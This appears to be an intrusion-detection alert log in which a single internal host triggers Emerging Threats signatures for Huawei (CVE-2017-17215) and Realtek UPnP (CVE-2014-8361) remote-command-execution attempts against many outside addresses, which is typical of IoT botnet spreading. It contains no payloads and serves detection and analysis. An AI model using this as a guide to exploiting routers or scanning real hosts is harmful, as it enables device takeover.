07/20/24-23:01:11.817298	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40146	37215	192.168.2.23	79.233.85.196
07/20/24-23:01:58.249042	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53186	52869	192.168.2.23	73.13.167.32
07/20/24-23:01:08.606848	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39260	52869	192.168.2.23	77.76.243.3
07/20/24-23:01:43.085956	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57422	52869	192.168.2.23	104.39.87.115
07/20/24-23:01:45.591520	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53006	52869	192.168.2.23	200.248.84.13
07/20/24-23:01:13.310941	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34298	52869	192.168.2.23	144.166.152.235
07/20/24-23:00:59.191389	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56072	37215	192.168.2.23	169.239.10.111
07/20/24-23:01:04.236014	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60634	52869	192.168.2.23	124.254.84.115
07/20/24-23:01:07.026812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47382	37215	192.168.2.23	126.151.179.206
07/20/24-23:01:25.509340	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56156	52869	192.168.2.23	40.231.162.161
07/20/24-23:01:02.085856	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56566	52869	192.168.2.23	113.34.69.120
07/20/24-23:01:07.033766	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55630	37215	192.168.2.23	116.187.119.26
07/20/24-23:01:44.464382	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60510	52869	192.168.2.23	141.54.172.151
07/20/24-23:01:43.058685	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60424	52869	192.168.2.23	46.141.217.184
07/20/24-23:01:42.165780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57706	52869	192.168.2.23	160.40.68.243
07/20/24-23:01:02.259207	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55498	52869	192.168.2.23	191.173.38.241
07/20/24-23:01:20.152427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53950	37215	192.168.2.23	118.213.243.211
07/20/24-23:01:41.758923	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58628	52869	192.168.2.23	20.44.163.254
07/20/24-23:01:43.141970	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56970	52869	192.168.2.23	203.253.92.60
07/20/24-23:01:56.447869	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55486	52869	192.168.2.23	73.161.205.249
07/20/24-23:02:02.527007	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47348	52869	192.168.2.23	138.206.228.107
07/20/24-23:01:58.688552	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37880	52869	192.168.2.23	131.180.1.65
07/20/24-23:01:21.943544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48950	37215	192.168.2.23	98.137.112.190
07/20/24-23:01:43.380019	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49674	52869	192.168.2.23	128.197.233.56
07/20/24-23:00:59.168569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44702	37215	192.168.2.23	221.83.41.173
07/20/24-23:02:05.287905	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55880	52869	192.168.2.23	221.139.54.252
07/20/24-23:01:43.392835	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51270	52869	192.168.2.23	31.247.155.57
07/20/24-23:01:45.878385	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50708	52869	192.168.2.23	190.134.62.33
07/20/24-23:01:31.328855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53888	52869	192.168.2.23	203.166.233.2
07/20/24-23:01:43.085956	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55404	52869	192.168.2.23	194.44.142.130
07/20/24-23:01:01.219232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58748	52869	192.168.2.23	189.63.115.173
07/20/24-23:01:14.207040	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53312	37215	192.168.2.23	161.238.126.206
07/20/24-23:01:04.100971	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39850	37215	192.168.2.23	157.132.15.197
07/20/24-23:01:02.057729	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51132	37215	192.168.2.23	157.212.218.203
07/20/24-23:01:43.288086	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57260	52869	192.168.2.23	17.63.153.183
07/20/24-23:01:53.415663	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56738	52869	192.168.2.23	100.28.35.63
07/20/24-23:01:58.751559	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43492	52869	192.168.2.23	206.198.46.124
07/20/24-23:01:24.833522	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48236	52869	192.168.2.23	48.111.4.84
07/20/24-23:01:46.471349	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42752	52869	192.168.2.23	173.232.109.220
07/20/24-23:01:42.485253	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50448	52869	192.168.2.23	145.203.252.98
07/20/24-23:01:50.985732	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41786	52869	192.168.2.23	209.10.74.49
07/20/24-23:01:55.497526	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55536	52869	192.168.2.23	135.85.2.136
07/20/24-23:01:52.285243	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47850	52869	192.168.2.23	126.2.96.116
07/20/24-23:01:31.323042	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38880	52869	192.168.2.23	145.117.47.181
07/20/24-23:01:01.198681	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51954	52869	192.168.2.23	100.7.167.160
07/20/24-23:01:41.332211	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51470	52869	192.168.2.23	220.250.27.9
07/20/24-23:02:07.294006	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37108	52869	192.168.2.23	194.45.44.116
07/20/24-23:01:42.693537	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44936	52869	192.168.2.23	157.155.242.14
07/20/24-23:01:02.103737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36284	37215	192.168.2.23	104.38.28.110
07/20/24-23:01:42.442442	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55828	52869	192.168.2.23	171.82.217.243
07/20/24-23:01:47.028157	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54620	52869	192.168.2.23	136.248.242.20
07/20/24-23:01:11.638042	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51356	37215	192.168.2.23	157.158.215.83
07/20/24-23:01:46.562532	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41584	52869	192.168.2.23	198.167.255.95
07/20/24-23:01:59.296959	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49948	52869	192.168.2.23	118.179.102.207
07/20/24-23:01:08.585790	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53264	52869	192.168.2.23	194.63.61.192
07/20/24-23:01:53.262556	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39514	52869	192.168.2.23	109.27.210.57
07/20/24-23:01:34.045749	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50594	37215	192.168.2.23	157.81.54.196
07/20/24-23:01:51.888686	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51016	52869	192.168.2.23	41.47.146.130
07/20/24-23:01:02.113054	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57042	37215	192.168.2.23	148.121.203.188
07/20/24-23:01:31.318206	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57560	52869	192.168.2.23	119.38.147.179
07/20/24-23:02:13.277683	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52292	52869	192.168.2.23	31.110.77.22
07/20/24-23:01:48.322055	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53270	52869	192.168.2.23	134.173.191.58
07/20/24-23:01:25.819962	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49936	52869	192.168.2.23	156.32.87.120
07/20/24-23:01:40.334452	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41888	37215	192.168.2.23	41.52.100.172
07/20/24-23:01:20.601040	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57016	52869	192.168.2.23	85.106.41.174
07/20/24-23:01:47.641942	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56544	52869	192.168.2.23	113.35.167.52
07/20/24-23:02:08.206268	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53034	52869	192.168.2.23	27.234.34.183
07/20/24-23:01:42.322405	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49484	52869	192.168.2.23	5.80.243.157
07/20/24-23:01:31.981855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50494	37215	192.168.2.23	197.97.192.157
07/20/24-23:02:06.441271	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46226	52869	192.168.2.23	36.224.134.244
07/20/24-23:01:00.647694	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59862	37215	192.168.2.23	197.92.38.185
07/20/24-23:01:40.310207	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41020	37215	192.168.2.23	41.28.95.234
07/20/24-23:01:51.130270	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51168	52869	192.168.2.23	135.69.136.147
07/20/24-23:01:24.877747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55018	37215	192.168.2.23	157.87.189.85
07/20/24-23:01:31.333070	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37974	52869	192.168.2.23	152.161.99.53
07/20/24-23:01:34.075219	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41722	37215	192.168.2.23	197.145.148.31
07/20/24-23:01:43.180913	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54438	52869	192.168.2.23	219.230.144.186
07/20/24-23:01:03.102525	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36072	52869	192.168.2.23	2.10.234.63
07/20/24-23:01:07.082045	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34088	37215	192.168.2.23	41.53.235.233
07/20/24-23:02:11.791090	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47260	52869	192.168.2.23	84.123.73.220
07/20/24-23:01:24.929013	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39666	37215	192.168.2.23	198.55.153.11
07/20/24-23:01:31.322110	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44766	52869	192.168.2.23	109.162.13.246
07/20/24-23:01:41.374418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58308	52869	192.168.2.23	157.9.32.210
07/20/24-23:01:59.992284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47644	52869	192.168.2.23	161.136.114.82
07/20/24-23:01:02.304416	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37654	52869	192.168.2.23	162.220.3.30
07/20/24-23:01:24.916250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44788	37215	192.168.2.23	148.60.185.225
07/20/24-23:01:11.636425	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50264	37215	192.168.2.23	41.248.82.51
07/20/24-23:01:43.724924	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50284	52869	192.168.2.23	155.182.30.66
07/20/24-23:01:27.660099	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43594	37215	192.168.2.23	157.156.179.148
07/20/24-23:00:57.222207	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39796	37215	192.168.2.23	197.52.45.132
07/20/24-23:01:02.365539	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50400	52869	192.168.2.23	114.20.70.247
07/20/24-23:01:02.113054	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35672	37215	192.168.2.23	157.106.83.239
07/20/24-23:01:42.945747	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44964	52869	192.168.2.23	77.249.102.196
07/20/24-23:01:54.482793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42058	52869	192.168.2.23	163.75.91.9
07/20/24-23:01:40.296076	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39240	37215	192.168.2.23	41.234.203.207
07/20/24-23:01:04.098080	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36712	37215	192.168.2.23	41.198.76.252
07/20/24-23:01:08.560530	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49680	52869	192.168.2.23	109.23.172.87
07/20/24-23:01:42.187124	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36010	52869	192.168.2.23	186.68.76.128
07/20/24-23:01:53.415663	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42988	52869	192.168.2.23	197.114.179.188
07/20/24-23:01:49.064169	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52738	52869	192.168.2.23	210.209.80.73
07/20/24-23:01:42.874808	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38898	52869	192.168.2.23	208.138.181.205
07/20/24-23:01:52.094111	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48356	52869	192.168.2.23	107.137.22.219
07/20/24-23:01:08.672944	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60846	52869	192.168.2.23	140.186.145.164
07/20/24-23:01:25.980169	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47834	52869	192.168.2.23	157.217.190.133
07/20/24-23:01:31.327539	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37754	52869	192.168.2.23	174.98.46.120
07/20/24-23:01:44.841232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57342	52869	192.168.2.23	158.186.31.24
07/20/24-23:01:50.798234	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53904	52869	192.168.2.23	144.196.193.162
07/20/24-23:02:05.544188	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33672	52869	192.168.2.23	108.147.254.33
07/20/24-23:01:04.040812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47446	37215	192.168.2.23	41.95.94.208
07/20/24-23:01:48.161610	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60168	52869	192.168.2.23	98.169.154.123
07/20/24-23:01:03.219817	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34482	52869	192.168.2.23	80.176.127.107
07/20/24-23:01:41.165469	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58744	52869	192.168.2.23	118.130.245.154
07/20/24-23:01:27.658221	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48414	37215	192.168.2.23	171.210.254.194
07/20/24-23:01:56.265254	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33578	52869	192.168.2.23	216.27.105.182
07/20/24-23:01:02.104572	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46440	37215	192.168.2.23	41.205.220.16
07/20/24-23:01:58.093784	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49082	52869	192.168.2.23	64.27.46.251
07/20/24-23:01:42.571884	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47098	52869	192.168.2.23	172.43.240.212
07/20/24-23:01:43.160906	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34986	52869	192.168.2.23	50.208.25.112
07/20/24-23:01:40.286738	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56342	37215	192.168.2.23	157.218.32.62
07/20/24-23:01:46.159872	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47696	52869	192.168.2.23	208.122.170.150
07/20/24-23:01:04.058922	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48120	37215	192.168.2.23	157.46.25.223
07/20/24-23:02:36.102280	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46296	52869	192.168.2.23	68.53.164.7
07/20/24-23:01:59.938491	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41506	52869	192.168.2.23	120.69.102.249
07/20/24-23:01:41.389908	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58454	52869	192.168.2.23	170.207.21.198
07/20/24-23:01:49.064169	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43312	52869	192.168.2.23	203.94.134.229
07/20/24-23:01:58.807611	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49242	52869	192.168.2.23	162.84.55.247
07/20/24-23:01:20.169339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59268	37215	192.168.2.23	13.220.244.166
07/20/24-23:01:31.979565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35010	37215	192.168.2.23	41.115.9.128
07/20/24-23:01:02.047411	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55246	37215	192.168.2.23	37.246.135.67
07/20/24-23:01:08.684499	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44404	52869	192.168.2.23	167.134.108.32
07/20/24-23:01:49.567841	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46500	52869	192.168.2.23	180.71.140.26
07/20/24-23:01:31.983105	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33566	37215	192.168.2.23	41.44.12.1
07/20/24-23:01:47.902509	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44290	52869	192.168.2.23	206.59.132.204
07/20/24-23:01:43.944379	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57812	52869	192.168.2.23	65.50.132.254
07/20/24-23:01:20.150638	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44054	37215	192.168.2.23	197.144.175.34
07/20/24-23:01:49.567841	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53186	52869	192.168.2.23	213.235.51.156
07/20/24-23:01:42.048889	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53344	52869	192.168.2.23	80.2.7.209
07/20/24-23:01:46.308516	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54942	52869	192.168.2.23	92.64.232.40
07/20/24-23:01:24.883172	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50806	37215	192.168.2.23	157.83.52.0
07/20/24-23:01:55.666677	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44326	52869	192.168.2.23	168.75.31.114
07/20/24-23:02:08.246802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50224	52869	192.168.2.23	83.250.249.17
07/20/24-23:01:13.047601	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42960	52869	192.168.2.23	47.250.162.49
07/20/24-23:01:42.778817	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46836	52869	192.168.2.23	173.176.211.200
07/20/24-23:01:27.658221	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34896	37215	192.168.2.23	197.88.10.152
07/20/24-23:01:02.349095	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34796	52869	192.168.2.23	171.201.20.41
07/20/24-23:01:45.519802	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40966	52869	192.168.2.23	52.182.197.150
07/20/24-23:00:59.196993	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46650	37215	192.168.2.23	110.243.142.209
07/20/24-23:02:05.311710	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46826	52869	192.168.2.23	47.224.141.66
07/20/24-23:01:50.280308	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42914	52869	192.168.2.23	18.202.42.80
07/20/24-23:00:59.211046	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38176	37215	192.168.2.23	41.20.53.198
07/20/24-23:01:11.818830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49182	37215	192.168.2.23	41.199.105.92
07/20/24-23:01:47.604426	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48060	52869	192.168.2.23	89.230.177.62
07/20/24-23:01:52.543362	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51336	52869	192.168.2.23	116.175.162.178
07/20/24-23:01:02.422228	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57522	52869	192.168.2.23	104.178.230.186
07/20/24-23:01:24.889163	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55552	37215	192.168.2.23	197.216.241.164
07/20/24-23:01:31.991336	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41200	37215	192.168.2.23	184.160.174.234
07/20/24-23:01:03.930422	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55040	52869	192.168.2.23	111.252.253.89
07/20/24-23:01:07.082045	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53678	37215	192.168.2.23	197.20.163.179
07/20/24-23:01:45.134490	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57054	52869	192.168.2.23	186.231.211.62
07/20/24-23:01:47.275716	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54548	52869	192.168.2.23	35.223.49.101
07/20/24-23:00:59.154068	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52500	37215	192.168.2.23	197.58.83.134
07/20/24-23:01:27.650643	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50680	37215	192.168.2.23	41.32.198.246
07/20/24-23:01:56.378726	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40432	52869	192.168.2.23	175.65.204.131
07/20/24-23:01:42.563729	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59400	52869	192.168.2.23	104.27.90.68
07/20/24-23:01:21.937814	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42512	37215	192.168.2.23	157.251.195.250
07/20/24-23:01:42.928503	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59858	52869	192.168.2.23	167.230.66.89
07/20/24-23:01:43.020186	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40860	52869	192.168.2.23	32.76.174.48
07/20/24-23:01:43.874054	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37088	52869	192.168.2.23	162.100.122.131
07/20/24-23:01:00.633744	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59806	37215	192.168.2.23	197.99.9.223
07/20/24-23:01:34.044717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47310	37215	192.168.2.23	13.170.167.126
